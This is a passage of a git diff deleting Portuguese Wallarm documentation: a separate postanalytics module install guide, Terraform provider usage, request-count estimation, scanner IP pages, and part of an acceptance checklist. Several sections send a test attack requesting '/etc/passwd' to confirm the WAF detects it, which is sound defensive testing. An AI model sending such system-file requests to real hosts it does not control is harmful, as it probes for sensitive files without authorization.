Verifique a interação dos módulos NGINX‑Wallarm e pós-análise separados - -Para verificar a interação dos módulos NGINX‑Wallarm e pós-análise separados, você pode enviar a solicitação com um ataque de teste para o endereço do aplicativo protegido: - -```bash -curl http://localhost/etc/passwd -``` - -Se os módulos NGINX‑Wallarm e pós-análise separados estiverem configurados corretamente, o ataque será enviado para a nuvem Wallarm e exibido na seção **Eventos** do Console Wallarm: - -![Ataques na interface](../images/admin-guides/test-attacks-quickstart.png) - -Se o ataque não foi enviado para a Nuvem, por favor, verifique se não há erros na operação dos serviços: - -* Certifique-se de que o serviço de pós-análise `wallarm-tarantool` está com status `active`. - - ```bash - sudo systemctl status wallarm-tarantool - ``` - - ![status wallarm-tarantool][tarantool-status] -* Analise os registros do módulo de pós-análise - - ```bash - sudo cat /var/log/wallarm/tarantool.log - ``` - - Se houver um registro como `SystemError binary: failed to bind: Cannot assign requested address`, certifique-se de que o servidor aceita a conexão no endereço e porta especificados. -* No servidor com o módulo NGINX‑Wallarm, analise os registros do NGINX: - - ```bash - sudo cat /var/log/nginx/error.log - ``` - - Se houver um registro como `[error] wallarm:
            connect() failed`, certifique-se de que o endereço do módulo de pós-análise separado está especificado corretamente nos arquivos de configuração do módulo NGINX‑Wallarm e de que o servidor de pós-análise separado aceita a conexão no endereço e porta especificados. -* No servidor com o módulo NGINX‑Wallarm, obtenha as estatísticas sobre as solicitações processadas usando o comando abaixo e certifique-se de que o valor de `tnt_errors` é 0. - - ```bash - curl http://127.0.0.8/wallarm-status - ``` - - [Descrição de todos os parâmetros retornados pelo serviço de estatísticas →](configure-statistics-service.md) - -## Instalação manual - -### Requisitos - ---8<-- "../include-pt-BR/waf/installation/linux-packages/separate-postanalytics-reqs.md" - -### Passo 1: Adicione repositórios Wallarm - -O módulo de pós-análise, como os outros módulos Wallarm, é instalado e atualizado a partir dos repositórios Wallarm. Para adicionar repositórios, use os comandos para sua plataforma: - -=== "Debian 10.x (buster)" - ```bash - sudo apt -y install dirmngr - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node buster/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 22.04 LTS (jammy)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node jammy/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "Amazon Linux 2.0.2021x e inferior" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` - -### Passo 2: Instale pacotes para o módulo de pós-análise - -Instale o pacote `wallarm-node-tarantool` do repositório Wallarm para o módulo de pós-análise e o banco de dados Tarantool: - -=== "Debian" - ```bash - sudo apt -y install --no-install-recommends wallarm-node-tarantool - ``` -=== "Ubuntu" - ```bash - sudo apt -y install --no-install-recommends wallarm-node-tarantool - ``` -=== "CentOS ou Amazon Linux 2.0.2021x e inferior" - ```bash - sudo yum install -y wallarm-node-tarantool - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum install -y wallarm-node-tarantool - ``` -=== "RHEL 8.x" - ```bash - sudo yum install -y wallarm-node-tarantool - ``` - -### Passo 3: Conecte o módulo de pós-análise à Cloud Wallarm - -O módulo de pós-análise interage com a Cloud Wallarm. É necessário criar o nó Wallarm para o módulo de pós-análise e conectar esse nó à Cloud. Ao conectar, você pode definir o nome do nó de pós-análise, sob o qual ele será exibido na UI do Console Wallarm e colocar o nó no **grupo de nós** apropriado (usado para organizar logicamente os nós na UI). É **recomendado** usar o mesmo grupo de nós para o nó que processa o tráfego inicial e o nó que realiza a pós-análise. - -![Nós agrupados](../images/user-guides/nodes/grouped-nodes.png) - -Para fornecer acesso ao nó, você precisa gerar um token no lado da Cloud e especificá-lo na máquina com os pacotes do nó. - -Para conectar o nó de filtragem de pós-análise à Cloud: - ---8<-- "../include-pt-BR/waf/installation/get-api-or-node-token.md" - -1. Execute o script `register-node` em uma máquina onde você instala o nó de filtragem: - - === "Token API" - - ``` bash - sudo /usr/share/wallarm-common/register-node -t --labels 'group=' -H us1.api.wallarm.com --no-sync --no-sync-acl - ``` - - * `` é o valor copiado do token API com o papel `Deploy`. - * O parâmetro `--labels 'group='` coloca seu nó no grupo de nós `` (existente, ou, se não existir, será criado). - - === "Token de nó" - - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com --no-sync --no-sync-acl - ``` - - * `` é o valor copiado do token do nó. - - * Use `-H us1.api.wallarm.com` para instalar na Cloud US, remova esta opção para instalar na Cloud EU. - * Você pode adicionar o parâmetro `-n ` para definir um nome personalizado para sua instância do nó. O nome final da instância será: `HOST_NAME_NodeUUID`. - -### Passo 4: Atualize a configuração do módulo de pós-análise - -Os arquivos de configuração do módulo de pós-análise estão localizados nos caminhos: - -* `/etc/default/wallarm-tarantool` para sistemas operacionais Debian e Ubuntu -* `/etc/sysconfig/wallarm-tarantool` para sistemas operacionais CentOS e Amazon Linux 2.0.2021x e inferiores - -Para abrir o arquivo no modo de edição, use o comando: - -=== "Debian" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` -=== "Ubuntu" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` -=== "CentOS ou Amazon Linux 2.0.2021x e inferiores" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -=== "RHEL 8.x" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` - -#### Memória - -O módulo de pós-análise usa o armazenamento em memória Tarantool. Para ambientes de produção, é recomendável ter uma quantidade maior de memória. Se estiver testando o nó Wallarm ou se tiver um tamanho de servidor pequeno, a quantidade menor pode ser suficiente. - -O tamanho da memória alocada é definido em GB pela diretiva `SLAB_ALLOC_ARENA` no arquivo de configuração [`/etc/default/wallarm-tarantool` ou `/etc/sysconfig/wallarm-tarantool`](#4-atualize-a-configuracao-do-modulo-de-pos-analise). O valor pode ser um número inteiro ou um float (um ponto `.` é um separador decimal). - -Recomendações detalhadas sobre a alocação de memória para Tarantool são descritas nestas [instruções](configuration-guides/allocate-resources-for-node.md). - -#### Endereço do servidor de pós-análise separado - -Para definir o endereço do servidor de pós-análise separado: - -1. Abra o arquivo Tarantool no modo de edição: - - === "Debian" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "Ubuntu" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "CentOS ou Amazon Linux 2.0.2021x e inferiores" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` - === "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` - === "RHEL 8.x" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -2. Descomente as variáveis `HOST` e `PORT` e defina os seguintes valores: - - ```bash - # endereço e porta para a ligação - HOST='0.0.0.0' - PORT=3313 - ``` -3. Se o arquivo de configuração do Tarantool estiver configurado para aceitar conexões em endereços IP diferentes de `0.0.0.0` ou `127.0.0.1`, forneça os endereços em `/etc/wallarm/node.yaml`: - - ```bash - hostname: - uuid: - secret: - tarantool: - host: '' - port: 3313 - ``` - -### Passo 5: Reinicie os serviços Wallarm - -Para aplicar as configurações ao módulo de pós-análise: - -=== "Debian" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "Ubuntu" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "CentOS ou Amazon Linux 2.0.2021x e inferiores" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart wallarm-tarantool - ``` - -### Passo 6: Instale o módulo NGINX-Wallarm em um servidor separado - -Uma vez que o módulo de pós-análise esteja instalado no servidor separado, instale os outros módulos Wallarm em um servidor diferente. Abaixo estão os links para as instruções correspondentes e os nomes dos pacotes a serem especificados para a instalação do módulo NGINX-Wallarm: - -* [NGINX estável](../installation/nginx/dynamic-module.md) - - Na etapa de instalação do pacote, especifique `wallarm-node-nginx` e `nginx-module-wallarm`. -* [NGINX Plus](../installation/nginx-plus.md) - - Na etapa de instalação do pacote, especifique `wallarm-node-nginx` e `nginx-plus-module-wallarm`. -* [NGINX fornecido pela distribuição](../installation/nginx/dynamic-module-from-distr.md) - - Na etapa de instalação do pacote, especifique `wallarm-node-nginx` e `libnginx-mod-http-wallarm/nginx-mod-http-wallarm`. - ---8<-- "../include-pt-BR/waf/installation/checking-compatibility-of-separate-postanalytics-and-primary-packages.md" - -### Passo 7: Conecte o módulo NGINX-Wallarm ao módulo de pós-análise - -Na máquina com o módulo NGINX-Wallarm, no arquivo de [configuração](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) do NGINX, especifique o endereço do servidor do módulo de pós-análise: - -``` -upstream wallarm_tarantool { - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - - keepalive 2; - } - - # omitido - -wallarm_tarantool_upstream wallarm_tarantool; -``` - -* O valor `max_conns` deve ser especificado para cada um dos servidores upstream Tarantool para impedir a criação de conexões excessivas. -* O valor `keepalive` não deve ser menor do que o número de servidores Tarantool. -* A string `# wallarm_tarantool_upstream wallarm_tarantool;` está comentada por padrão - por favor, exclua `#`. - -Após a alteração do arquivo de configuração, reinicie NGINX/NGINX Plus no servidor do módulo NGINX-Wallarm: - -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOS" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` - -### Passo 8: Verifique a interação dos módulos NGINX‑Wallarm e pós-análise separados - -Para verificar a interação dos módulos NGINX‑Wallarm e pós-análise separados, você pode enviar a solicitação com um ataque de teste para o endereço do aplicativo protegido: - -```bash -curl http://localhost/etc/passwd -``` - -Se os módulos NGINX‑Wallarm e pós-análise separados estiverem configurados corretamente, o ataque será enviado para a nuvem Wallarm e exibido na seção **Eventos** do Console Wallarm: - -![Ataques na interface](../images/admin-guides/test-attacks-quickstart.png) - -Se o ataque não foi enviado para a Nuvem, por favor, verifique se não há erros na operação dos serviços: - -* Certifique-se de que o serviço de pós-análise `wallarm-tarantool` está com status `active`. - - ```bash - sudo systemctl status wallarm-tarantool - ``` - - ![status wallarm-tarantool][tarantool-status] -* Analise os registros do módulo de pós-análise - - ```bash - sudo cat /var/log/wallarm/tarantool.log - ``` - - Se houver um registro como `SystemError binary: failed to bind: Cannot assign requested address`, certifique-se de que o servidor aceita a conexão no endereço e porta especificados. -* No servidor com o módulo NGINX‑Wallarm, analise os registros do NGINX: - - ```bash - sudo cat /var/log/nginx/error.log - ``` - - Se houver um registro como `[error] wallarm:
            connect() failed`, certifique-se de que o endereço do módulo de pós-análise separado está especificado corretamente nos arquivos de configuração do módulo NGINX‑Wallarm e de que o servidor de pós-análise separado aceita a conexão no endereço e porta especificados. -* No servidor com o módulo NGINX‑Wallarm, obtenha as estatísticas sobre as solicitações processadas usando o comando abaixo e certifique-se de que o valor de `tnt_errors` é 0. - - ```bash - curl http://127.0.0.8/wallarm-status - ``` - - [Descrição de todos os parâmetros retornados pelo serviço de estatísticas →](configure-statistics-service.md) - -## Proteção do módulo de pós-análise - -!!! warning "Proteja o módulo de pós-análise instalado" - Recomendamos **fortemente** proteger um módulo de pós-análise Wallarm recém-instalado com um firewall. Caso contrário, existe o risco de obter acesso não autorizado ao serviço que pode resultar em: - - * Divulgação de informações sobre solicitações processadas - * Possibilidade de executar código Lua arbitrário e comandos do sistema operacional - - Observe que esse risco não existe se você estiver implantando o módulo de pós-análise junto com o módulo NGINX-Wallarm no mesmo servidor. Isso acontece porque o módulo de pós-análise vai escutar a porta `3313`. - - **Aqui estão as configurações do firewall que devem ser aplicadas ao módulo de pós-análise instalado separadamente:** - - * Permita o tráfego HTTPS de e para os servidores API Wallarm, para que o módulo de pós-análise possa interagir com esses servidores: - * `us1.api.wallarm.com` é o servidor API na Nuvem Wallarm US - * `api.wallarm.com` é o servidor API na Nuvem Wallarm EU - * Restrinja o acesso à porta `3313` Tarantool via protocolos TCP e UDP, permitindo conexões apenas dos endereços IP dos nós de filtragem Wallarm. - -## Solução de problemas do Tarantool - -[Solução de problemas do Tarantool](../faq/tarantool.md) \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/managing/terraform-provider.md b/docs/latest-pt-BR/admin-en/managing/terraform-provider.md deleted file mode 100644 index 0dfac1a0b4..0000000000 --- a/docs/latest-pt-BR/admin-en/managing/terraform-provider.md +++ /dev/null @@ -1,139 +0,0 @@ -# Gerenciando a Wallarm usando Terraform - -Se você usa [Terraform](https://www.terraform.io/) para gerenciar suas infraestruturas, pode ser uma opção confortável para você usá-lo para gerenciar a Wallarm. O [provedor Wallarm](https://registry.terraform.io/providers/wallarm/wallarm/latest/docs) para Terraform permite isso. - -## Requisitos - -* Conhecimento básico do [Terraform](https://www.terraform.io/) -* Binário do Terraform 0.15.5 ou superior -* Conta Wallarm na [Nuvem EUA](https://us1.my.wallarm.com/) ou [Nuvem EU](https://my.wallarm.com/) -* Acesso à conta com a função **Administrador** na Console Wallarm na Nuvem EUA ou EU [Cloud](../../about-wallarm/overview.md#cloud) -* Acesso a `https://us1.api.wallarm.com` se estiver trabalhando com a Nuvem Wallarm dos EUA ou a `https://api.wallarm.com` se estiver trabalhando com a Nuvem Wallarm da EU. Por favor, certifique-se de que o acesso não está bloqueado por um firewall - -## Instalando o provedor - -1. Copie e cole na configuração do Terraform: - - ``` - terraform { - required_version = ">= 0.15.5" - - required_providers { - wallarm = { - source = "wallarm/wallarm" - version = "1.1.2" - } - } - } - - provider "wallarm" { - # Opções de configuração - } - ``` - -1. Execute `terraform init`. - -## Conectando o provedor à sua conta Wallarm - -Para conectar o provedor Terraform da Wallarm à sua conta Wallarm na [Nuvem EUA](https://us1.my.wallarm.com/signup) ou [Nuvem EU](https://my.wallarm.com/signup), defina as credenciais de acesso à API na configuração do Terraform: - -=== "Nuvem EUA" - ``` - provider "wallarm" { - api_token = "" - api_host = "https://us1.api.wallarm.com" - # Apenas necessário quando a funcionalidade multilocação é utilizada: - # client_id = - } - ``` -=== "Nuvem EU" - ``` - provider "wallarm" { - api_token = "" - api_host = "https://api.wallarm.com" - # Apenas necessário quando a funcionalidade multilocação é utilizada: - # client_id = - } - ``` - -* `` permite o acesso à API de sua conta Wallarm. [Como conseguir it →](../../user-guides/settings/api-tokens.md) -* `` é ID do inquilino (cliente); requerido apenas quando a função de [multilocação](../../installation/multi-tenant/overview.md) é usada. Pegue o `id` (não `uuid`) conforme descrito [aqui](../../installation/multi-tenant/configure-accounts.md#step-3-create-the-tenant-via-the-wallarm-api). - -Veja os [detalhes](https://registry.terraform.io/providers/wallarm/wallarm/latest/docs) na documentação do provedor Wallarm. - -## Gerenciando a Wallarm com provedor - -Com o provedor Wallarm, via Terraform você pode gerenciar: - -* [Nós](../../user-guides/nodes/nodes.md) em sua conta -* [Aplicativos](../../user-guides/settings/applications.md) -* [Regras](../../user-guides/rules/rules.md) -* [Gatilhos](../../user-guides/triggers/triggers.md) -* IPs na [lista de negação](../../user-guides/ip-lists/denylist.md), [lista de permissão](../../user-guides/ip-lists/allowlist.md) e [lista cinza](../../user-guides/ip-lists/graylist.md) -* [Usuários](../../user-guides/settings/users.md) -* [Integrações](../../user-guides/settings/integrations/integrations-intro.md) -* Modo de [filtração](../../admin-en/configure-wallarm-mode.md) global -* Escopo [Scanner](../../user-guides/scanner.md) -* [Vulnerabilidades](../../user-guides/vulnerabilities.md) - -!!! info "Provedor Terraform Wallarm e nós CDN" - Atualmente, nós [CDN](../../user-guides/nodes/cdn-node.md) não podem ser gerenciados por meio do provedor Terraform Wallarm. - -Veja como realizar as operações listadas na [documentação](https://registry.terraform.io/providers/wallarm/wallarm/latest/docs) do provedor Wallarm. - -## Exemplo de uso - -Abaixo está um exemplo de configuração Terraform para Wallarm: - -``` -provider "wallarm" { - api_token = "" - api_host = "https://us1.api.wallarm.com" -} - -resource "wallarm_global_mode" "global_block" { - waf_mode = "default" -} - -resource "wallarm_application" "tf_app" { - name = "Terraform Application 001" - app_id = 42 -} - -resource "wallarm_rule_mode" "tiredful_api_mode" { - mode = "monitoring" - - action { - point = { - instance = 42 - } - } - - action { - type = "regex" - point = { - scheme = "https" - } - } -} -``` - -Salve o arquivo de configuração e depois execute `terraform apply`. - -A configuração faz o seguinte: - -* Conecta à Nuvem EUA → conta da empresa com o token de API Wallarm fornecido. -* `resource "wallarm_global_mode" "global_block"` → define o modo de filtração global para `Configurações locais (padrão)`, o que significa que o modo de filtração é controlado localmente em cada nó. -* `resource "wallarm_application" "tf_app"` → cria aplicativo chamado `Terraform Application 001` com ID `42`. -* `resource "wallarm_rule_mode" "tiredful_api_mode"` → cria a regra que define o modo de filtração de tráfego para `Monitoring` para todas as solicitações enviadas através do protocolo HTTPS para o aplicativo com ID `42`. - -## Informações adicionais sobre Wallarm e Terraform - -O Terraform suporta uma série de integrações (**[provedores](https://www.terraform.io/language/providers)**) e configurações prontas para usar (**[módulos](https://www.terraform.io/language/modules)**) disponíveis para usuários através do [registro](https://www.terraform.io/registry#navigating-the-registry) público, fornecido por diversos fornecedores. - -Para este registro, a Wallarm publicou: - -* O [provedor Wallarm](https://registry.terraform.io/providers/wallarm/wallarm/latest/docs) para gerenciar a Wallarm via Terraform. Descrito no artigo atual. -* O [módulo Wallarm](../../installation/cloud-platforms/aws/terraform-module/overview.md) para implantar o nó na AWS a partir do ambiente compatível com Terraform. - -Essas duas são ferramentas independentes usadas para diferentes propósitos. Não é necessário usar um para usar o outro. diff --git a/docs/latest-pt-BR/admin-en/nginx-node-metrics.md b/docs/latest-pt-BR/admin-en/nginx-node-metrics.md deleted file mode 100644 index c87b5a9f6b..0000000000 --- a/docs/latest-pt-BR/admin-en/nginx-node-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/nginx-node-metrics.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/operation/learn-incoming-request-number.md b/docs/latest-pt-BR/admin-en/operation/learn-incoming-request-number.md deleted file mode 100644 index 04c905596b..0000000000 --- a/docs/latest-pt-BR/admin-en/operation/learn-incoming-request-number.md +++ /dev/null @@ -1,43 +0,0 @@ -# Aprendendo o número de solicitações por mês atendidas pela aplicação - -Os métodos de licenciamento/faturamento primários da Wallarm são baseados no nível de solicitações atendidas pelos nós de filtragem de Wallarm implantados em seu ambiente. Este documento explica como aprender facilmente o número de solicitações atendidas pela aplicação. - -## Equipes que têm acesso à informação - -Normalmente, as seguintes equipes em uma empresa podem ter acesso fácil à informação: - -* DevOps -* Operações Técnicas -* Operações na Nuvem -* Operações da Plataforma -* DevSecOps -* Administradores do Sistema -* Administradores de Aplicações -* NOC - -## Métodos para aprender o número de solicitações - -Existem vários métodos para procurar o número de solicitações atendidas pela aplicação: - -* Clientes da AWS usando balanceadores de carga ELB ou ALB podem usar métricas de monitoramento da AWS dos balanceadores de carga para estimar o nível de solicitações diárias e semanais para aplicações atendidas pelos balanceadores de carga: - - ![Exemplo de monitoramento da AWS](../../images/operation/aws-requests-example.png) - - Por exemplo, se um gráfico mostra que a média de solicitações por minuto é de 350 e assumindo que há, em média, 730 horas em um mês, então o número de solicitações mensais é `350 * 60 * 730 = 15,330,000`. - -* Usuários do GCP de balanceadores de carga HTTP podem usar a métrica de monitoramento **https/request_count**. A métrica não está disponível para Balanceadores de Carga de Rede. -* Usuários do Microsoft IIS podem confiar na métrica **Requests Per Sec** para calcular a média do número de solicitações por segundo e calcular o número de solicitações atendidas por um único servidor IIS por mês. No cálculo, assuma que há, em média, `730 * 3,600` segundos por mês. -* Usuários de serviços de Monitoramento de Performance de Aplicações como New Relic, Datadog, AppDynamics, SignalFX e outros podem obter a informação de suas consoles APM (apenas certifique-se de obter um valor agregado para todos os servidores envolvidos na camada de borda, e não apenas um servidor). -* Usuários de sistemas de monitoramento de infraestrutura baseados em nuvem como Datadog, AWS CloudWatch (e muitos outros) ou usuários de sistemas de monitoramento internos como Prometheus ou Nagios provavelmente já monitoram o nível de solicitações atendidas em sua localização de borda (balanceadores de carga, servidores web, servidores de aplicativos), e podem usar a informação para estimar facilmente a média do número de solicitações atendidas por mês. -* Outra abordagem é usar os logs de balanceadores de carga de borda ou servidores web para contar o número de registros de log em um período de tempo (idealmente - 24 horas) assumindo que há um registro de log por solicitações atendidas. Por exemplo, este servidor web rotaciona o arquivo de log de acesso do NGINX uma vez por dia, com 653.525 solicitações registradas no arquivo de log: - - ```bash - cd /var/log/nginx/ - zcat access.log.2.gz |wc -l - # 653525 - ``` - - * A estimativa de solicitações atendidas pelo servidor em um mês é `653,525 * 30 = 19,605,750`. - * Sabendo o número total de servidores web usados torna possível estimar o número de solicitações atendidas pela aplicação inteira. - -* Para aplicações web puras usando Google Analytics ou serviços similares de rastreamento e monitoramento de experiência do usuário, a informação sobre o número de páginas atendidas e todos os objetos embutidos podem ser extraídos dos serviços. \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/scanner-address-eu-cloud.md b/docs/latest-pt-BR/admin-en/scanner-address-eu-cloud.md deleted file mode 100644 index b9ee888340..0000000000 --- a/docs/latest-pt-BR/admin-en/scanner-address-eu-cloud.md +++ /dev/null @@ -1,15 +0,0 @@ -[Lista de arquivos de IPs]: ../downloads/scanner-ip-addresses-eu.txt - -# Endereços do Scanner para Nuvem da UE - -!!! info - Esta lista funciona apenas para os usuários que utilizam a Nuvem da UE . - - Se você estiver usando a Nuvem dos EUA , prossiga para a [lista de endereços do scanner para a Nuvem dos EUA](scanner-addresses.md). - -A lista de endereços IP da Nuvem da UE a partir dos quais o Wallarm verifica os recursos da empresa para [vulnerabilidades](../glossary-en.md#vulnerability) e reconfirma ataques e vulnerabilidades: - ---8<-- "../include-pt-BR/scanner-ip-request.md" - -!!! info "Obtenha a lista de endereços IP" - [Baixe o arquivo de texto simples que contém a lista dos endereços IP dos scanners.][Lista de arquivos de IPs] \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/scanner-address-us-cloud.md b/docs/latest-pt-BR/admin-en/scanner-address-us-cloud.md deleted file mode 100644 index 5dca8a373b..0000000000 --- a/docs/latest-pt-BR/admin-en/scanner-address-us-cloud.md +++ /dev/null @@ -1,15 +0,0 @@ -[file-ips-list]: ../downloads/scanner-ip-addresses-us.txt - -# Endereços do Scanner para o US Cloud - -!!! info - Esta lista só funciona para usuários que utilizam o US Cloud . - - Se você estiver usando o EU Cloud , prossiga para a [lista de endereços do scanner para o EU Cloud](scanner-addresses.md). - -A lista de endereços IP para o US Cloud de onde a Wallarm verifica os recursos da empresa para [vulnerabilidades](../glossary-en.md#vulnerability) e reconfere ataques e vulnerabilidades: - ---8<-- "../include-pt-BR/scanner-ip-request-us.md" - -!!! info "Obtenha a lista de endereços IP" - [Baixe o arquivo de texto simples contendo a lista de endereços IP dos scanners.][file-ips-list] \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/scanner-complaint-en.md b/docs/latest-pt-BR/admin-en/scanner-complaint-en.md deleted file mode 100644 index 4a0f531d9f..0000000000 --- a/docs/latest-pt-BR/admin-en/scanner-complaint-en.md +++ /dev/null @@ -1,3 +0,0 @@ -# Contatando o Suporte da Wallarm para Parar o Scanner de Recursos - -Se o scanner Wallarm examina os recursos de sua empresa que você nunca configurou para descoberta, [contate o Suporte da Wallarm](mailto:support@wallarm.com) para excluir o recurso da varredura. \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/uat-checklist-en.md b/docs/latest-pt-BR/admin-en/uat-checklist-en.md deleted file mode 100644 index 418211f0a7..0000000000 --- a/docs/latest-pt-BR/admin-en/uat-checklist-en.md +++ /dev/null @@ -1,117 +0,0 @@ -# Lista de Verificação de Teste de Aceitação do Usuário Wallarm - -Esta seção fornece uma lista de verificação para garantir que sua instância Wallarm está operando corretamente. - -| Operação | Comportamento esperado | Verificar | -|------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------|--------| -| [Nó Wallarm detecta ataques](#wallarm-node-detects-attacks) | Ataques são detectados | | -| [Você pode fazer login na interface Wallarm](#you-can-log-into-the-wallarm-interface) | Você pode fazer login | | -| [Interface Wallarm mostra requisições por segundo](#wallarm-interface-shows-requests-per-second) | Você vê as estatísticas de requisições | | -| [Wallarm marca requisições como falsas e para de bloqueá-las](#wallarm-marks-requests-as-false-and-stops-blocking-them) | Wallarm não bloqueia as requisições | | -| [Wallarm detecta vulnerabilidades e cria incidentes de segurança](#wallarm-detects-vulnerabilities-and-creates-security-incidents) | Incidentes de segurança são criados | | -| [Wallarm detecta perímetro](#wallarm-detects-perimeter) | Escopo é descoberto | | -| [Funciona a permissão de IPs, a lista de negação e a lista cinza](#ip-allowlisting-denylisting-and-graylisting-work) | Endereços IP são bloqueados | | -| [Usuários podem ser configurados e têm direitos de acesso adequados](#users-can-be-configured-and-have-proper-access-rights) | Usuários podem ser criados e atualizados | | -| [O log de atividades do usuário tem registros](#user-activity-log-has-records) | O log tem registros | | -| [Relatório funciona](#reporting-works) | Você recebe relatórios | | | - -## Wallarm Detecta Ataques - -1. Envie uma solicitação maliciosa para seu recurso: - - ``` - http:///etc/passwd - ``` - -2. Execute o seguinte comando para verificar se a contagem de ataques aumentou: - - ``` - curl http://127.0.0.8/wallarm-status - ``` - -Veja também [Verificando a operação do nó de filtro](installation-check-operation-en.md) - -## Você Pode Fazer Login na Interface Wallarm - -1. Prossiga com o link que corresponde ao cloud que você está usando: - * Se você está usando o cloud dos EUA, prossiga para o link . - * Se você está usando o cloud da UE, prossiga para o link . -2. Veja se você pode fazer login com sucesso. - -Veja também a [Visão geral do Painel de Prevenção de Ameaças](../user-guides/dashboards/threat-prevention.md). - -## Interface Wallarm Mostra Requisições por Segundo - -1. Envie uma solicitação para seu recurso: - - ``` - curl http:// - ``` - - Ou envie várias solicitações com um script bash: - - ``` - for (( i=0 ; $i<10 ; i++ )) ; - do - curl http:// ; - done - ``` - - Este exemplo é para 10 solicitações. - -2. Verifique se a interface Wallarm mostra solicitações detectadas por segundo. - -Veja também o [Painel de Prevenção de Ameaças](../user-guides/dashboards/threat-prevention.md). - -## Wallarm Marca Requisições como Falsas e Para de Bloquear - -1. Expanda um ataque na aba *Ataques*. -2. Selecione um hit e clique em *Falso*. -3. Espere cerca de 3 minutos. -4. Reenvie a solicitação e verifique se Wallarm a detecta como um ataque e a bloqueia. - -Veja também [Trabalhando com ataques falsos](../user-guides/events/false-attack.md). - -## Wallarm Detecta Vulnerabilidades e Cria Incidentes de Segurança - -1. Certifique-se de ter uma vulnerabilidade aberta em seu recurso. -2. Envie uma solicitação maliciosa para explorar a vulnerabilidade. -3. Verifique se há um incidente detectado na interface Wallarm. - -Veja também [Verificando ataques e incidentes](../user-guides/events/check-attack.md). - -## Wallarm Detecta Perímetro - -1. Na aba *Scanner*, adicione o domínio do seu recurso. -2. Verifique se Wallarm descobre todos os recursos associados ao domínio adicionado. - -Veja também [Trabalhando com o scanner](../user-guides/scanner.md). - -## Permissão de IPs, Lista de Negação e Lista Cinza Funcionam - -1. Aprenda a [lógica principal das listas de IP](../user-guides/ip-lists/overview.md). -2. Adicione endereços IP à [lista de 